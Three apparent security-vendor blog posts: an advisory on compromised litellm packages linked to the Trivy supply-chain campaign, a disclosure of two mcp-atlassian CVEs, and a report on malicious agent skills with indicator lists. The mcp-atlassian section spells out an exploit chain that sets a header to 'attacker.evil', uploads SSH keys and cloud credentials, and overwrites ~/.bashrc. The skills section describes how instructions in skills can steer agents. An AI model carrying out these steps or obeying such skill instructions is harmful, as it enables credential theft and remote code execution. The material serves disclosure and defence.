“This project has been quarantined. PyPI Admins need to review this project before it can be restored. While in quarantine, the project is not installable by clients, and cannot be modified by its maintainers.”

Three hours is a fast response, but for a package with litellm’s download volume, that window is significant. Any automated pipeline, Docker build, or developer environment that pulled a fresh install during that period could have received the compromised version.

This means pip install litellm currently fails for all versions, not just the compromised ones. While disruptive, this is the right call - it prevents any further exposure while the situation is investigated.

The Broader Concern & The TeamPCP connection

This attack did not happen in a vacuum. It is very likely a direct consequence of the Trivy supply chain compromise carried out by the threat actor known as TeamPCP.

The Trivy attack: a quick recap

Starting in late February 2026, TeamPCP exploited a misconfiguration in the CI/CD environment of Aqua Security’s Trivy - one of the most widely used open source vulnerability scanners. They extracted a privileged access token and established a foothold in the project’s release automation. On March 1, the Trivy team disclosed the incident and rotated credentials, but the rotation was incomplete. The attacker retained residual access.

On March 19, TeamPCP struck. They force-pushed 76 of 77 version tags in trivy-action and all tags in setup-trivy, redirecting trusted references to malicious commits. They simultaneously triggered a malicious Trivy v0.69.4 release. The payload harvested API tokens, cloud credentials, SSH keys, Kubernetes secrets, and CI/CD secrets from every pipeline that ran the compromised action - and did so silently, before the legitimate scan logic, so workflows appeared to complete normally.

The Trivy team contained the initial attack within about three hours, but on March 22, Aqua disclosed that the attacker had re-established access, describing “additional suspicious activity involving unauthorized changes and repository tampering.” As of March 24, the investigation remains active with incident response firm Sygnia.

The following day, March 23, TeamPCP compromised the KICS GitHub Action - Checkmarx’s infrastructure-as-code security scanner - hijacking all 35 repository tags and injecting credential-stealing payloads using the same RSA public key. The related ast-github-action and two OpenVS extensions were also compromised.

Notably, Aqua’s latest update confirms what the litellm compromise now illustrates in practice:

“The threat actor has pivoted beyond the initial CI/CD compromise and is actively weaponizing stolen credentials across the broader ecosystem. Organizations should treat this as an ongoing campaign, not a contained incident.”

Aqua also warns that stolen NPM publish tokens are being used to propagate malware across the NPM ecosystem - meaning TeamPCP’s reach extends beyond Python.

The LiteLLM Connection

The fingerprints are unmistakable. Both attacks use the same playbook:

• Hybrid AES-256-CBC + RSA-4096 encryption for exfiltration

• Credential harvesting across SSH, cloud providers, and Kubernetes

• Kubernetes lateral movement via privileged pod creation

• Persistence through disguised system services

• The “tpcp” marker - the litellm payload bundles stolen data into tpcp.tar.gz, while the Trivy attacker created exfiltration repositories named tpcp-docs. Both names reference TeamPCP.

• LiteLLM’s CI/CD pipeline runs Trivy as its security scanner.

The likely attack chain: when litellm’s CI/CD ran a compromised Trivy version or action, TeamPCP harvested the pipeline’s secrets - including the PyPI publishing token. They then used that token to upload malicious litellm packages directly to PyPI, bypassing GitHub entirely.

The timeline fits: Trivy compromised on March 19, attacker regains access on March 22, KICS compromised on March 23, litellm compromised packages appear on March 24.

On the same note, it is very likely that other repositories under the BerriAI GitHub organization are also compromised. If the attack vector was credential theft via the Trivy compromise, any secrets present in litellm’s CI/CD environment - including publishing tokens for other packages - may be in the attacker’s hands. Any package published through the same infrastructure should be treated as suspect until verified. If you depend on other BerriAI-maintained packages, exercise caution and audit your installed versions.

Am I affected?

You’re potentially affected if:

• You installed litellm==1.82.7 or litellm==1.82.8 from PyPI at any point

• Your requirements.txt, poetry.lock, uv.lock, Pipfile.lock, or any other lock file pins either of those versions

• Any CI/CD pipeline, Docker image, or cloud environment pulled one of those versions

Remember: the payload runs on Python startup, not on import. If the package was installed, the damage may already be done.

Quick check

Look for the malicious .pth file:

find "$(python3 -c 'import site; print(site.getsitepackages()[0])')" \
  -name "litellm_init.pth" 2>/dev/null

Or check your installed version:

pip show litellm 2>/dev/null | grep Version

We’ve also published a comprehensive scanner script - check_litellm_compromise.sh (available in the following GitHub Gist )- that checks installed versions, lock files, persistence artifacts, Kubernetes pods, and active network connections. It’s entirely read-only and makes no changes to your system.

What to do if you’re compromised

Assume the worst. If either affected version was installed on a system, treat every credential on that system as leaked.

1. Uninstall immediately: pip uninstall litellm

2. Remove persistence artifacts:

   • Delete any litellm_init.pth from your Python site-packages

   • Remove ~/.config/sysmon/ and ~/.config/systemd/user/sysmon.service

   • In Kubernetes, delete any node-setup-* pods in kube-system

3. Rotate everything: SSH keys, AWS/GCP/Azure credentials, API tokens, database passwords, Docker registry tokens, CI/CD secrets - anything that was on the affected system as a file or environment variable

4. Audit access logs: Check cloud provider audit trails (AWS CloudTrail, GCP Audit Logs, Azure Activity Log) for unauthorized access using potentially stolen credentials

5. Reinstall a safe version once the quarantine is lifted, or pin to a known-good version.

The bigger picture

As covered above, this is part of an active campaign by TeamPCP that has already hit Trivy, litellm, and - per Aqua’s own warning - the NPM ecosystem. A security scanner was turned into the vector that compromised an AI gateway running in production across thousands of organizations. Your security tools are part of your attack surface.

If your organization depends on open source infrastructure, this is a good time to revisit some fundamentals:

• Pin dependencies to exact versions and preferably even commit SHAs as mutable version tags are how the Trivy attack propagated.

• Use lock files and verify checksums.

• Minimize secrets in CI/CD environments - if a pipeline doesn’t need a PyPI token, don’t give it one.

• Monitor for unexpected network activity from your Python processes.

• Audit your credential exposure - if a secret is on disk or in an environment variable, a compromised dependency can read it.

• Check for tpcp-docs repositories in your GitHub organization - their presence may indicate successful exfiltration via the Trivy vector.

We will update this post as more details emerge…

Thanks for reading! This post is public so feel free to share it.

Share

At Pluto, we’re enabling enterprises to use AI Builders securely.
Want to learn more? Let’s talk.

Leave a comment

Executive Summary

• What we found: two vulnerabilities in mcp-atlassian:

  • CVE-2026-27825 (CVSS 9.1) - Arbitrary file write vulnerability via Confluence attachment download path → RCE

  • CVE-2026-27826 (CVSS 8.2) - SSRF via Atlassian URL headers in middleware

• Why it matters: Anyone on the same local network can run code on your machine as root by sending two http requests, no authentication required.

• Who’s affected: Anyone running mcp-atlassian versions < 0.17.0, especially network-exposed deployments (streamable-http or sse).

• Blast radius: The project has over 4.4K stars and over 4M downloads.

• Fix: upgrade immediately to mcp-atlassian >= 0.17.0, which adds safe path validation and SSRF protections (including optional domain allowlisting). We have created an open source repo to help with remediation.

• Up to the publication of this post we have not observed any active exploitation in the wild, yet users should upgrade to the latest version ASAP to reduce risk.

• This is the first set of vulnerabilities we can publish from Pluto’s broader research into open-source MCP server security. additional findings are still in coordinated disclosure.

Introduction

Think of this scenario - A developer installs an MCP plugin so their IDE can talk to Jira. That plugin opens a port on their machine - bound to all interfaces, no authentication. Anyone on the same network can now write any file anywhere on their laptop, extract all the files, or use their machine as a proxy into the corporate network.

That’s not a hypothetical. It’s what we found in mcp-atlassian, one of the most popular MCP servers in the ecosystem.

What is mcp-atlassian?

As there is no official local Atlassian MCP server, quite a few open-source alternatives are available. mcp-atlassian is the most popular one.

It is an MCP (Model Context Protocol) server that gives AI assistants like Claude, Cursor, and Copilot direct access to Jira and Confluence. It exposes over 40 tools allowing searching Jira issues, reading Confluence pages, creating issues, uploading attachments, downloading files, managing sprints, and more.

What we found?

When you connect an agent to Jira or Confluence through an MCP server, you’re effectively creating this chain:

Agent → MCP client → MCP server → SaaS APIs / filesystem / network

Each arrow is a trust boundary.

In the case of MCPwnfluence, we saw two failure modes:

• Unvalidated outbound destinations (SSRF)
  An input (a header) influenced where the server sent requests.

• Unconstrained filesystem writes
  An input (a download path) influenced where the server wrote files.

The path traversal and SSRF are severe on their own. What makes them critical is the deployment posture: mcp-atlassian’s HTTP transport (--transport streamable-http) defaults to binding on 0.0.0.0 with zero authentication.

Anyone who can reach that port can invoke any of its tools.

When chaining both vulnerabilities - we are able to send requests to the MCP from the LAN, redirect the server to the attacker machine, upload an attachment and then receive a full unauthenticated RCE from the lan - deep dive below!

CVE-2026-27825 - Arbitrary File Write → Remote Code Execution (CVSS 9.1)

GHSA: GHSA-xjgw-4wvw-rgm4

What peaked our interest in mcp-atlassian was that despite it’s not an official MCP server, we identified it in almost every environment we explored.

So we decided to dig deeper.

When we started reviewing how attachments are downloaded, we noticed that the Confluence download_attachment tool takes a destination path and writes the file there. Simple enough.

The problem was, that there was no boundary enforcement ensuring that target_path stayed within a controlled directory (arbitrary file write)!

If the process could write there, it would.

No base directory restriction, No traversal protection, No symlink safeguards.

Just:

with open(target_path, “wb”) as f:
    f.write(...)

On a typical system, that’s dangerous.

On an MCP server that often runs as root inside a container or with elevated permissions?

That’s critical.

Because once you can write arbitrary files as a privileged process, you don’t need a complicated exploit chain.

You just need something interesting to overwrite.

Depending on environment, that can mean:

• Modifying startup hooks

• Overwriting configuration files

• Pivoting into full remote code execution

The Vulnerable Code

In src/mcp_atlassian/confluence/attachments.py, the download_attachment() function accepts an arbitrary target_path with zero path validation:

# v0.16.1 - confluence/attachments.py
def download_attachment(self, url: str, target_path: str) -> bool:
    try:
        if not os.path.isabs(target_path):
            target_path = os.path.abspath(target_path)

        # NO PATH TRAVERSAL CHECK - writes to ANY path on the filesystem
        os.makedirs(os.path.dirname(target_path), exist_ok=True)

        response = self.confluence._session.get(url, stream=True)
        response.raise_for_status()
        with open(target_path, "wb") as f:   # ARBITRARY FILE WRITE
            for chunk in response.iter_content(chunk_size=8192):
                f.write(chunk)

The download_content_attachments() function has the same issue - it creates directories at arbitrary paths without validation.

Exploitation Flow

1. Call confluence_download_attachment with a download_path

2. Point anywhere on the filesystem

3. The MCP will override that file with the attachment content

For example, writing to:

• ~/.bashrc or ~/.zshrc to execute code on next shell open

• ~/.ssh/authorized_keys to achieve SSH access to the machine

The Fix

PR #987 adds a validate_safe_path() centralized path validation function in src/mcp_atlassian/utils/io.py:

def validate_safe_path(
    path: str | os.PathLike[str],
    base_dir: str | os.PathLike[str] | None = None,
) -> Path:
    """Validate that a path does not escape the base directory."""
    if base_dir is None:
        base_dir = os.getcwd()

    resolved_base = Path(base_dir).resolve(strict=False)
    p = Path(path)
    if not p.is_absolute():
        p = resolved_base / p
    resolved_path = p.resolve(strict=False)

    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError(
            f"Path traversal detected: {path} resolves outside {resolved_base}"
        )
    return resolved_path

Key details: resolves symlinks (prevents symlink-based bypasses), normalizes the path, and enforces that the resolved path stays within the base directory. Applied to both download_attachment() and download_content_attachments().

Silent Data Exfiltration

The lack of authentication also affects the upload tools: confluence_upload_attachment and jira_update_issue (with its attachments parameter). They accept a file_path pointing to any file on the filesystem, read it in binary mode, and upload it to the configured Atlassian instance.

# v0.16.1 — confluence/attachments.py, _upload_attachment_direct()
# No path validation — reads ANY file the process can access
files = {"file": (filename, open(file_path, "rb"))}
response = self.confluence._session.put(url, headers=headers, files=files, data=data)

The MCP tool’s documentation even says it plainly: “Full path to the file to upload. Can be absolute (e.g., ‘/home/user/document.pdf’)”.

Exploitation Flow

1. Very similar to the upload flow - Call confluence_upload_attachment with a upload_path

2. Point anywhere on the filesystem

3. The MCP will upload the attachment content

For example, we can upload:

• ~/.ssh/authorized_keys

• ~/.etc/shadow

CVE-2026-27826: SSRF via Header Injection (CVSS 8.2) - Full Un-authenticated RCE from the LAN

GHSA: GHSA-7r34-79r5-rcc9

This was the last missing piece of the puzzle.

An unconstrained download path means you can write a file somewhere interesting.
That’s powerful - especially in AI-driven workflows where tool inputs can be influenced.

But prompt injection is noisy. It’s indirect. It requires model cooperation.

Then we noticed something more interesting.

The MCP server was binding to 0.0.0.0 by default.

That changes the game.

Now the question becomes:

If this service is network-reachable… what controls its outbound behavior?

At first glance, the Atlassian base URL is configured server-side. That looks safe.

Until we looked at the middleware.

The server accepts Atlassian service URL headers (e.g. X-Atlassian-Jira-Url) and uses them to construct a Jira client - without validating the destination.

This allows any unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint to force the server process to make outbound HTTP requests to an arbitrary URL controlled by the attacker.

This means that any actor with network access can call the vulnerable MCP, and make its responses go back to him!

The Vulnerable Code

In src/mcp_atlassian/servers/main.py, the middleware extracts X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url headers from incoming requests and passes them through with zero validation:

# v0.16.1 - main.py, _process_authentication_headers()
if jira_url_str:
    service_headers["X-Atlassian-Jira-Url"] = jira_url_str     # NO VALIDATION
if confluence_url_str:
    service_headers["X-Atlassian-Confluence-Url"] = confluence_url_str  # NO VALIDATION

scope["state"]["atlassian_service_headers"] = service_headers

In src/mcp_atlassian/servers/dependencies.py, get_jira_fetcher() reads that header and creates a fetcher pointing at whatever URL was provided:

# v0.16.1 - dependencies.py, get_jira_fetcher()
jira_url_header = service_headers.get("X-Atlassian-Jira-Url")
jira_token_header = service_headers.get("X-Atlassian-Jira-Personal-Token")

if (user_auth_type == "pat" and jira_url_header and jira_token_header ...):
    header_config = JiraConfig(
        url=jira_url_header,   # ATTACKER-CONTROLLED URL - NO VALIDATION
        auth_type="pat",
        personal_token=jira_token_header,
        ...
    )
    header_jira_fetcher = JiraFetcher(config=header_config)
    # Server now makes authenticated requests to the attacker's URL

The identical pattern exists for get_confluence_fetcher().

Exploitation Flow

An attacker sends a request to the unauthenticated MCP endpoint with:

X-Atlassian-Jira-Url: http://attacker.evil:8080
X-Atlassian-Jira-Personal-Token: anything

When any Jira tool is invoked in that session, the MCP server makes outbound HTTP requests to attacker.evil:8080 from the victim’s machine and network position. The attacker doesn’t steal the victim’s Atlassian credentials here - they supply their own token. The real power is turning the MCP server into an SSRF proxy inside the victim’s network.

The Fix

PR #986 adds comprehensive URL validation via validate_url_for_ssrf() in src/mcp_atlassian/utils/urls.py:

def validate_url_for_ssrf(url: str) -> str | None:
    """Returns None if safe, error message if blocked."""
    # Checks:
    # - Scheme allowlist (http/https only)
    # - Blocked hostnames (localhost, metadata.google.internal)
    # - IP address validation via ipaddress.ip_address().is_global
    # - IPv4-mapped IPv6 handling (::ffff:127.0.0.1)
    # - DNS resolution check (resolves hostname, blocks non-global IPs)
    # - Domain allowlist via MCP_ALLOWED_URL_DOMAINS env var

The fix also adds a redirect-following hook to block SSRF via open-redirect chains:

def _make_ssrf_safe_hook(validate_fn):
    """Blocks HTTP redirects targeting internal/private IPs."""
    def hook(response, **kwargs):
        if response.is_redirect:
            redirect_url = response.headers.get("Location", "")
            error = validate_fn(redirect_url)
            if error:
                response.close()
                raise ValueError(f"Redirect blocked (SSRF): {error}")
        return response
    return hook

The full Un-Authenticated RCE chain

1. An attacker scans the network and identifies the MCP server

2. Initializes an MCP session (unauthenticated POST /mcp)

3. Overrides the destination URL to the attacker machine using CVE-2026-27826

4. Calls confluence_upload_attachment with a upload_path to sensitive file like:

   1. ~/.ssh/id_rsa / - SSH private keys

   2. ~/.aws/credentials - AWS access keys and secret keys

   3. .env - API keys, database passwords, third-party secrets

   4. ~/.git-credentials - plaintext Git authentication tokens

   5. ~/.kube/config - Kubernetes cluster credentials and certificates
      
      No files are modified. No processes are spawned.
      No logs are written on the victim’s machine.
      

      The developer’s secrets are silently uploaded to an attacker-controlled Confluence page or Jira issue, and the only trace is an outbound HTTP request to what looks like a legitimate Atlassian URL.

5. Calls confluence_download_attachment with a download_path pointing to ~/.bashrc using CVE-2026-27825

6. Code will run!

   Example real-world attack scenarios

   • Shared WiFi: A developer working in the airport or in a coffee shop runs mcp-atlassian with --transport streamable-http so their AI IDE can reach it. An attacker on the same WiFi finds the MCP server, and writes a cron job that opens a reverse shell. The developer’s machine is now compromised.

   • Cloud VPC: A team deploys mcp-atlassian as a shared service inside a Kubernetes cluster. A compromised container in the same VPC sends requests to the MCP server’s ClusterIP, writes SSH keys to /root/.ssh/authorized_keys on the pod, and pivots to other services.

   • Co-working space. An attacker at a co-working space scans the network, finds a developer’s MCP server, and writes a reverse-shell script to ~/Library/LaunchAgents/ - it executes on next login.

RCE PoC Demo

What To Do Now?

Immediate Action

If you’re running mcp-atlassian, upgrade ASAP to:

mcp-atlassian >= 0.17.0

We have created an open source utility to help with remediation.

Update commands by installation type

| Installation Type |                         Update Command                         |
|-------------------|----------------------------------------------------------------|
| uvx               | `uvx upgrade mcp-atlassian`                                    |
| Docker            | `docker pull ghcr.io/sooperset/mcp-atlassian:latest` + restart |
| pip               | `pip install --upgrade mcp-atlassian`                          |
| uv/source         | Sync repo & rebuild/run updated version                        |

Note: If you are using the docker version of mcp-atlassian from DockerHub or MCP Hub, pulling the latest version won’t help as it was last updated 4 months ago and it remains vulnerable:

UPDATE: Following our disclosure, the Docker Security team has updated the mcp-atlassian container image on Docker Hub and MCP Hub, and as of March 3rd, it contains the latest fixed version.

Recommended Security Best Practices (For All MCP Servers)

Treat MCP servers like privileged internal services with production impact.

1. Restrict Network Exposure

2. Constrain Filesystem Writes

3. Constrain Outbound HTTP

4. Log and Monitor

Disclosure Timeline & Acknowledgments

February 10th - Opened an issue in the repository, alerting on potential security issues and requesting the maintainer to enable private vulnerability reporting (PVR)

February 19th - PVR enabled, opened GHSA reports for both issues.

February 23rd - Fix PRs #986 and #987 merged

February 24th - Fixed version 0.17 released, CVE-2026-27825 and CVE-2026-27826 issued.

March 3rd - Following our disclosure, the Docker Security team has updated the mcp-atlassian container on Docker Hub and MCP Hub to the latest fixed version.

We would like to thank Hyeonsoo Lee for the swift response and timely remediation. Being the sole lead maintainer of a widely used project is no small responsibility, and we appreciate the professionalism and collaboration throughout the disclosure process.

Conclusion

We’re seeing three trends converge:

1. Rapid adoption.
   MCP servers are being deployed quickly - often starting as “local dev helpers” and then gradually moving into shared environments.

2. Expanded exposure.
   What starts as localhost sometimes becomes a container, then a dev VM, then a shared service reachable across a network.

3. Implicit trust.
   Because these servers are built for productivity, they often assume cooperative inputs and friendly environments.

That combination creates a gap: Adoption speed is outpacing secure-by-default design.

MCP servers are currently one of the major plugin layers for AI systems.

Security needs to scale with that reality.

This is the first set of findings we’re able to publish from ’s broader ongoing research into MCP server security. Additional vulnerabilities are currently under coordinated disclosure.

Follow the Pluto blog to stay informed as we release further findings.

Share

At Pluto, we’re enabling enterprises to use AI Builders securely.
Want to learn more? Let’s talk.

Leave a comment

TL;DR

We identified an active malicious supply-chain campaign targeting agent skills, where attackers impersonated popular skills to distribute malware. This activity was responsibly disclosed and promptly taken down by the OpenClaw maintainer.

While examining the blast radius, we uncovered an additional systemic failure in how agent skill marketplaces interoperate. Skills removed from the primary marketplace continued to propagate through downstream registries and aggregators that automatically inherit and redistribute content from upstream sources. As a result, malicious skills remain discoverable and installable even after takedown.

The implication is severe: any agent that consumes skills - regardless of where it sources them from - can be exposed to malicious behavior. Once a skill enters the ecosystem, it can spread beyond its original marketplace and be picked up by other registries, tooling, or automation flows, putting all agents at risk, not just those using a specific platform.

Overview

The software supply chain risk presented by agentic tooling and skill ecosystem is seriously underestimated. As agentic tooling spreads, “skills” are becoming the default way to extend capabilities: install a skill, and your agent can now deploy infrastructure, query databases, message teammates, read email, triage tickets, or run commands. It’s convenient. It’s composable. It’s also a trust transfer.

But the trust model and supporting ecosystem is still very immature.

Recent research backs up what many practitioners have felt intuitively: skills marketplaces already contain a meaningful amount of risky content at scale. One large empirical study of agent skills across two major marketplaces found 26.1% of analyzed skills contained at least one vulnerability, spanning categories like prompt injection, data exfiltration, privilege escalation, and supply-chain risks.

That’s not a niche problem. That’s a systemic one. As the authors state:

A Live Example: When Agent Skills Become a Persistent Supply Chain Risk

This morning, we identified yet another active supply-chain campaign targeting ClawHub, the OpenClaw skill marketplace.

At least two users (@sakaen736jih and @moonshine-100rze) were uploading malicious skills impersonating popular, legitimate ones. Among the targeted skills (see complete list below) were: bird, agent-browser, auto-updater, coding-agent, nano-pdf, excel, moltbook, and more…

The campaign appears to be related to the ClawHavoc activity reported yesterday by Koi and OpenSourceMalware, with payloads delivering an Atomic macOS Stealer (AMOS) variant.

All malicious skill files exhibit the same characteristics: Description of the legitimate skill, followed by a note requiring windows users to download the OpenClawProvider package from an external source and Mac Users to pull the malicious payload using a based64 encoded command:

The malicious packages was were quickly removed from ClawHub by Peter Steinberger and the users behind it were banned.

This isn’t the first malicious skill campaign we’ve seen, and it likely won’t be the last. But the interesting part here isn’t just the malicious campaign.

It’s what happened after some of these skills were identified and removed.

UPDATE: On February 5th, we’ve identified an additional batch of malicious skills with the same characteristics pushed by user @zaycv including whatsapp, blrd, youtubewatcher, and others (see complete list in the IoCs section).

First things first: what are agent skills?

Agent skills are bundles of instructions, scripts, and resources that agents can discover and use to perform tasks more accurately and efficiently.

According to the official specification:

“Agent Skills are a lightweight, open format for extending AI agent capabilities with specialized knowledge and workflows.”

At a structural level, a skill is typically a folder centered around a SKILL.md file. This file contains basic metadata (name and description, at minimum) longside natural-language instructions that tell the agent how to perform a specific task. Skills can also include additional scripts, templates, configuration files, and reference materials that the agent is expected to read and act upon.

my-skill/
├── SKILL.md          # Required: instructions + metadata
├── scripts/          # Optional: executable code
├── references/       # Optional: documentation
└── assets/           # Optional: templates, resources

Why skills change the supply-chain equation

Traditional dependency risk is already hard: transitive dependencies, maintainer compromise, typosquatting, social engineering, and the occasional “oops we shipped a credential”. Most security teams have at least some controls here (SCA, allowlists, pinned versions, artifact scanning, SBOMs).

Skills shift the ground under all of that.

A “skill” is often:

• Instructions (natural language directives the model will follow)

• Executable artifacts (scripts, templates, helper binaries)

• Metadata (author, popularity, categories, versioning, update streams)

• Access wiring (API keys, env vars, OAuth tokens, file paths, tool permissions)

This means you’re not just importing code - you’re importing behavior.

And it is behavior executed by a system that is:

• Highly privileged (by design)

• Non-deterministic and difficult to reason about end-to-end

• Susceptible to persuasion and manipulation

In other words, skills are compound supply-chain risk with agentic risk.

Ok, now that we understand what Skills are, let’s get back to what we found…

Removal is Not Remediation: Downstream Skill Marketplaces Amplify Risk

In young ecosystems, people lean heavily on reputation signals like:

• Download counts

• Stars

• A credible owner

But, as Jamieson O’Reilly demonstrated last week, early marketplace ecosystems repeatedly demonstrate how fragile and easy to spoof those signals are. By targeting the recent trending ClawHub marketplace (which had no static analysis, no behavioral restrictions, and no review process), he showed how trivial it can be to publish a backdoored skill, inflate popularity metrics, and get real users to run it, believing it’s legitimate.

The thing is, ClawHub is not the only place skills are distributed.

Several other registries and aggregators index skills automatically from external sources:

• Some, crawl public GitHub repositories and ingest anything that looks like a skill.

• Others pull directly from upstream repos and re-publish them under a different interface.

In the OpenClaw ecosystem, this creates a critical failure mode for second order supply chain risk.

It turns out that skills that were flagged and removed from ClawHub’s UI continue to exist in upstream repositories - and are still being indexed, served, and installable through downstream marketplaces.

SkillsMP, which currently has over 145K skills, is a once such example. Let’s look at a concrete example - one of the malicious packages from the current campaign - bird-js. If we head over to it's relevant SkillsMP page, we can see a few (bad) things:

• The author appears to be “OpenClaw”

• Stars and forks were inherited from the upstream repository, lending false credibility

• The displayed SKILL.md still contained the malicious payload, yet there is no other indication that this isn’t the legitimate bird skill.

So this malicious skill, that was already removed from ClawHub remains accessible through SkillsMP, inheriting credibility signals of the original skill, where only thorough inspection of the SKILL.md file could provide an indication that the skill is malicious.

Multiple Installation Paths, Inconsistent Trust Boundaries

Downstream marketplaces don’t just mirror content - they often introduce new installation paths.

In this case, users could still install malicious skills via:

• Direct ZIP downloads

• Package managers that clone upstream repositories

• Tools that fetch skills from arbitrary remote sources without verification

Each additional path becomes another opportunity for silent compromise. Even when a marketplace removes a malicious skill from its UI, any system that blindly mirrors or indexes upstream sources can continue distributing it, without warning, attribution, or context.

Without built in mechanisms for vetting the content uploaded to the marketplace, skills can instruct the models using them to do anything.

If a malicious skill can persist after takedown, then “removal” is not a security control - it’s a notification.

What this means for you?

Skills Blur the Line Between “Code You Run” and “Text You Trust”

A lot of teams still treat skills as “just configuration” or “just prompts”, but in practice, skills behave like a hybrid of a package and a playbook:

• A package because it ships artifacts that can execute code.

• A playbook because it directs an agent to take actions.

This is why the risk is broader than a single file like SKILL.md. Any referenced file, template, auxiliary script, and even the markdown files themselves, become part of the agent’s effective instruction surface.

If your agent uses skills that reference additional files, then those files are also part of the trust chain:

• Additional markdown rules

• Configuration manifests

• Package definitions

• Tool wrappers and scripts

While a user might be satisfied by glancing over the “main” skill definition and making sure it looks legit, the agent will happily consume everything it can access.

Over time, the skill ecosystem and related marketplaces will mature and become more secure. We’re already seeing early steps in that direction - for example, ClawHub recently added GitHub user verification (including a minimum account age), along with reporting and moderation capabilities:

But attackers, aren’t waiting around. Multiple malicious skill campaigns targeting ClawHub were already identified, with hundreds of malicious skills making their way onto the platform.

These are the most common failure modes we are seeing:

1) Skill marketplace supply-chain attacks

• Backdoored/Malicious skills

• Typosquatting / impersonation (either to popular skills or the marketplaces themselves)

• Malicious updates to popular or seemingly benign skills

2) Metadata manipulation and social engineering

• Spoofing “Trust” signals such as download count, reviews or stars

• Misleading descriptions (“telemetry”, “analytics”, “setup helper”)

• Lookalike domains and endpoints used by skill scripts

3) Permission fatigue

Even if the agent prompts before actions, humans naturally become less vigilant in workflows where agents need constant permissions to be useful.

4) Indirect prompt injection through skill inputs

Skills often have access to external tools and consume external content: issues, docs, tickets, emails, chat messages, repos, and more. That content can contain instructions that influence the model’s behavior. As the UK NCSC has explicitly warned, prompt injection is fundamentally difficult to fully mitigate because models don’t reliably separate instructions from data.

That matters because skill ecosystems increase how often agents ingest untrusted content and how much authority they have when they do.

5) Secrets leakage as a default outcome

Skills often normalize passing credentials and tokens around in environment variables, tool config, files, and logs, often not in a secure manner.

Once you accept that “skills are behavior”, you should assume that any behavior you import may try to exfiltrate secrets, whether intentionally or accidentally.

6) Downstream propagation and stale trust

Like we saw in this case, even when a malicious skill is identified and removed from its original marketplace, it may continue to exist in: forked repositories, cached mirrors, or skill marketplaces.

Why this is different from a standard plugin or extension?

Agent skills don’t just extend software - they extend agency.

In computer-using agents, skills allow an agent to act directly in your environment: read your messages, use your credentials, interact with your browser, and execute actions on your behalf. The more capable the agent becomes, the more closely it mirrors a human operator.

That’s the appeal, as well as the risk.

Skills are how those agents learn what to do next. When you install a skill, you’re not adding a helper function; you’re expanding the set of things the agent is allowed to do in your environment. Over time, that means more credentials, more access, more automation, and more persistent context.

So when a skill goes wrong, the failure mode isn’t “bad code”.
It’s an autonomous system exercising delegated authority with your access.

What we recommend doing right now?

For builders and individual users:

• Treat third-party skills as untrusted code
  Read them before using! Read the referenced files too. Treat “instructions” as executable.

• Assume popularity metrics can be gamed
  Download counts and stars are not security properties.

• Use isolation by default
  Run skills in sandboxes, containers, or VMs, especially anything you didn’t write. Reduce filesystem and network reach as much as possible.

• Use test credentials first
  If a skill needs OAuth or API keys, start with scoped test accounts. Treat first-run as staging.

• Run automated scanning
  Static analysis isn’t sufficient, but it helps catch obvious badness quickly. Cisco’s open-source skill scanner is one example of tooling aimed at this category.

For security teams:

• Inventory “skills” as a software supply-chain class
  Track and govern:

  • which skills are installed

  • where they came from

  • who approved them

  • what they can access

• Enforce least privilege at the capability layer

  Don’t only gate “the agent”, gate:

  • Tool invocation (what tools can be called)

  • Data access (what sources can be read)

  • Output channels (where data can be sent)

  • Secrets scope (which tokens can be used for what)

• Aim to log skill-triggered actions as first-class events

• Plan for revocation

  Assume you’ll need to quickly disable a skill, rotate tokens or invalidate sessions.

Closing Thoughts

Supply-chain attacks aren’t new. Attackers have always followed the path of least resistance, and they always will.

The difference today is maturity. Traditional open-source ecosystems and package repositories have had years to absorb painful lessons, develop best practices, build tooling, and establish norms around trust, provenance, and response. None of that happened overnight, it was earned through repeated failures - and even now, successful attacks still happen.

The AI supply chain, by contrast, is still early and fragmented. It spans models, agents, skills, prompts, marketplaces, and social layers, but hasn’t yet had the time to develop comparable guardrails, frameworks, or shared security practices.

What recent campaigns show is not just that malicious skills exist, but that skill ecosystems behave like real supply chains, with the same problems and failure modes we’ve seen for years in traditional package ecosystems.

Once a malicious skill escapes into downstream indexes, mirrors, and automation tools, it stops being a single-platform issue. It becomes a distribution problem.

Layer on top of that AI-specific challenges like indirect prompt injection, delegated authority, opaque execution paths, and rapidly expanding attack surfaces, and the outcome is predictable - misconfigurations, fraud, vulnerabilities, and supply-chain attacks exploiting the immaturity of the entire AI ecosystem.

Security incidents targeting AI-based systems and the ecosystems around them aren’t an anomaly. They’re an inevitability until the security model catches up.

Share

At Pluto, we’re enabling enterprises to use AI Builders securely.
Want to learn more? Let’s talk.

IOCs

Complete list of malicious skills:

User: @sakaen736jih

agent-browser-6aigix9qi2tu	coding-agent-7k8p1tijc		nano-pdf-gbegf
agent-browser-b2x7tvcmbjgp	coding-agent-8wyxxelkv		nano-pdf-kxufw
agent-browser-bzsqiuw0rznw	coding-agent-boz67cmsl		nano-pdf-lqbmv
agent-browser-fopzsipap75u	coding-agent-by6ghzyes		nano-pdf-mns57
agent-browser-ha2gvrwrmbil	coding-agent-du7t1pmcd		nano-pdf-n2hcr
agent-browser-jrdv4mcscrb2	coding-agent-ggeu0hlk4		nano-pdf-q3e3z
agent-browser-npzrafdduyrm	coding-agent-hmxr2rtke		nano-pdf-quqdg
agent-browser-plyd56pz7air	coding-agent-kpeg9c2rq		nano-pdf-rt9y1
agent-browser-shdaumcajgxf	coding-agent-my1tb1kam		nano-pdf-sdjzy
agent-browser-txfumuva5m6u	coding-agent-o10sk4yyb		nano-pdf-tkqfw
agent-browser-ufymjtykwuas	coding-agent-ojd1iijmg		nano-pdf-vbdin
agent-browser-ymepfebfpc2x	coding-agent-p2kq1f9ou		nano-pdf-vhitx
agent-browser-zd1dook9mtfz	coding-agent-p6k84e0fv		nano-pdf-xyixq
auto-updater-3miomc4dvir	coding-agent-pekjzav3x		nano-pdf-yqsfx
auto-updater-5cnufr8quj5	coding-agent-tvmz0qsg1		nano-pdf-zpgdu
auto-updater-ah1		coding-agent-vwho0kmqi		phantom
auto-updater-drvd2u5bgft	coding-agent-yzyvfg9hn		solana
auto-updater-dyismmj5csx	coding-agent-z1qldmg0f		solflare
auto-updater-ek1qviijfp1	deep-research-eejukdjn		summarize-177r
auto-updater-eu0vxzedkgb	deep-research-eoo5vd95		summarize-7mfv
auto-updater-jhsfi4ehp1b	deep-research-hsk9iq5w		summarize-ienz
auto-updater-jrpkyiayibm	deep-research-kgenr3rn		summarize-ilyc
